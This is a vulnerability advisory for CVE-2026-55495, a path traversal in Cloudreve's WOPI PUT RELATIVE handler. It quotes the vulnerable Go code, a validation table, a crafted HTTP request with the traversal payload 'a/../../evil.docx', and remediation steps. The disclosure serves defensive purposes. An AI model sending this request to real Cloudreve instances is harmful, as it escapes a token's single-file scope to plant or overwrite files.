PT-2026-64431 · Go · Github.Com/Cloudreve/Cloudreve/V3+1

CVE-2026-55495 · Published 2026-07-24 · Updated 2026-07-24

OSV

CVSS v3.1

4.3

Medium

Base vector

AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Summary

Cloudreve's WOPI PUT RELATIVE handler treats X-WOPI-SuggestedTarget as a path, not a filename. It splits the header on / and joins the segments onto the source file's directory with URI.JoinRaw, which feeds Go's url.JoinPath. url.JoinPath resolves ./.. segments, so a slash-bearing target such as a/../../evil.docx collapses to a location outside the source file's directory. The lower-level upload path then validates only the final, already-cleaned basename (evil.docx), which is harmless, and checks ownership against the resolved ancestor — which is still the same user's drive.

A WOPI access token is bound to exactly one file (the route enforces fileId == session.FileID with a 403 otherwise). PUT RELATIVE escapes that per-file scope: a token issued for one file can create (and, conditionally, overwrite) files elsewhere in the same account.

Root cause (verified at 26b6b10)

1. Token is single-file scoped (the boundary being escaped) — middleware ViewerSessionValidation:

fileId := hashid.FromContext(c)
if fileId != session.FileID {      // 403 — token is bound to ONE file
  c.Status(http.StatusForbidden); c.Abort(); return
}

Route: wopi := noAuth.Group("file/wopi", middleware.HashID(hashid.FileID), middleware.ViewerSessionValidation()); wopi.POST(":id", controllers.ModifyFile) → POST /api/v4/file/wopi/:id?access token=<token>.

2. PUT RELATIVE dispatch — routers/controllers/wopi.go:

case wopi.MethodPutRelative:      // X-WOPI-Override: PUT RELATIVE
  err = service.PutContent(c, true)

3. SuggestedTarget joined as a path — service/explorer/viewer.go:

fileName,  := wopi.UTF7Decode(c.GetHeader(wopi.SuggestedTargetHeader)) // X-WOPI-SuggestedTarget
fileUriParsed,  := fs.NewUriFromString(fileUri)
if strings.HasPrefix(fileName, ".") { /* treat as extension */ }
fileUri = fileUriParsed.DirUri().JoinRaw(fileName).String()       // <-- path join, not basename
...
subService := FileUpdateService{ Uri: fileUri }
res, err := subService.PutContent(c, lockSession)

4. JoinRaw splits on / and normalizes via url.JoinPath — pkg/filemanager/fs/uri.go:

func (u *URI) Join(elem ...string) *URI {
  newUrl,  := url.Parse(u.U.String())
  return &URI{U: newUrl.JoinPath(/* PathEscape each elem */ ...)} // JoinPath cleans ./ and ../
}
func (u *URI) JoinRaw(elem string) *URI {
  return u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...)
}

PathEscape leaves . unescaped (it is in the unreserved set), so .. segments survive into JoinPath, which resolves them. URI.Name() returns path.Base(path.Clean(path)) — the cleaned basename.

5. Upload checks ownership of the resolved ancestor and validates only the clean basename — pkg/filemanager/fs/dbfs/upload.go:

ancestor, err := f.getFileByPath(ctx, navigator, req.Props.Uri)    // URI already traversal-normalized
...
if , ok := ctx.Value(ByPassOwnerCheckCtxKey{}).(bool); !ok && ancestor.OwnerID() != f.user.ID {
  return nil, fs.ErrOwnerOnly                    // same-user -> passes
}
...
if err := validateNewFile(req.Props.Uri.Name(), req.Props.Size, policy); err != nil { // checks "evil.docx" only
  return nil, err
}

validateFileName rejects / : * ? " < > | and bare ./.. — but the traversal is already gone by the time it sees the basename.

Validation performed

Independent validation against commit 26b6b10 in a clean sandbox.

Source-verified (static): the full chain confirmed verbatim — single-file-scoped token (403 on mismatch) → PUT RELATIVE dispatch → DirUri().JoinRaw(SuggestedTarget) → url.JoinPath normalization → ancestor ownership check (same-user passes) → basename-only validation of the cleaned name.

Dynamic (control-flow executed): the full binary is not buildable offline here (modules behind an unreachable Go proxy, embedded frontend, DB). I built and ran a harness using the real Go net/url stdlib plus the verbatim Join/JoinRaw/DirUri/Path/Name/PathEscape/shouldEscape and the validateFileName gate, driving the same transformation PUT RELATIVE performs. Source = cloudreve://my/folder/current.docx:

SuggestedTarget      resolved URI             final basename  validator
"copy.docx"        cloudreve://my/folder/copy.docx    "copy.docx"   ACCEPT
"a/../../evil.docx"    cloudreve://my/evil.docx       "evil.docx"   ACCEPT  <- ESCAPED to /
"a/../../../top.docx"   cloudreve://my/top.docx        "top.docx"    ACCEPT  <- ESCAPED to /
"sub/evil.docx"      cloudreve://my/folder/sub/evil.docx  "evil.docx"   ACCEPT  <- different subdir
".pdf"           cloudreve://my/folder/current.pdf   "current.pdf"  ACCEPT
"a%2f..%2f..%2fenc.docx"  cloudreve://my/folder/a%252f..%252f.. "a%2f..%2f..%2f" ACCEPT  (NO escape)

The headline payload a/../../evil.docx deterministically resolves to cloudreve://my/evil.docx (account root) with a clean, accepted basename. Output matches the original audit probe exactly. Honest caveat: a leading non-.. segment (e.g. a/) is required to prime the join; a single ../evil.docx does not cleanly escape, and URL-encoded separators (%2f) do not traverse through this path (they are re-escaped into one literal segment). Only literal / separators work.

Confidence tier: source-verified + control-flow dynamically reproduced (no full live HTTP write against a deployed instance).

Deduplication: no existing CVE/GHSA matches. Known Cloudreve advisories are CVE-2022-32167 (XSS, v1–v3.5.3) and CVE-2026-25726 (weak-PRNG ATO, instances initialized < v4.10.0) — both unrelated. SECURITY.md lists "user permissions" as high-impact and in scope for all 4.x, so this qualifies as a vulnerability under the project's own policy.

Steps to reproduce

Setup: user owns cloudreve://my/folder/current.docx; open it in the WOPI editor to obtain <token> (the session is bound to that file's ID).

1. Send the crafted PUT RELATIVE:

POST /api/v4/file/wopi/<file-id>?access token=<token> HTTP/1.1
Host: target
X-WOPI-Override: PUT RELATIVE
X-WOPI-SuggestedTarget: <UTF-7 of "a/../../evil.docx">
Content-Type: application/octet-stream

<file bytes>

2. Cloudreve rewrites the target from cloudreve://my/folder/current.docx to cloudreve://my/evil.docx, validates the basename evil.docx (passes), and writes the content. Expected: the target is rejected or constrained to the source file's directory. Actual: a file is written at the account root, outside the token's single-file scope.

Impact

A WOPI access token scoped to one file can write files to other locations in the same user's account. A malicious or compromised WOPI integration (or a leaked token) can plant or, conditionally, overwrite files at attacker-chosen paths the account owns, defeating the per-file scoping the WOPI session is meant to enforce. Confined to the session user's account (not cross-user).

Remediation

• Treat X-WOPI-SuggestedTarget (and X-WOPI-RequestedName) as a filename, not a path: reject /, ``, dot segments, and percent-encoded separator variants before joining.
• Prefer DirUri().Join(sanitizedBaseName) over JoinRaw, and after constructing the target URI assert it is a direct child of the source file's directory.
• Add regression tests for a/../../evil.docx, sub/evil.docx, and encoded-separator variants.

Fix

Path traversal

Weakness Enumeration

CWE-22

Related Identifiers

CVE-2026-55495

GHSA-49H3-CWHJ-4737

Affected Products

Github.Com/Cloudreve/Cloudreve/V3

Github.Com/Cloudreve/Cloudreve/V4

References · 5

• https://osv.dev/vulnerability/GHSA-49h3-cwhj-4737 · Vendor Advisory
• https://github.com/cloudreve/cloudreve/security/advisories/GHSA-49h3-cwhj-4737 · Note
• https://github.com/cloudreve/cloudreve/releases/tag/4.17.0 · Note
• https://github.com/cloudreve/cloudreve/commit/7968e50429efab40ffa8f57fecdfbd5a73d23630 · Note
• https://github.com/cloudreve/cloudreve · Note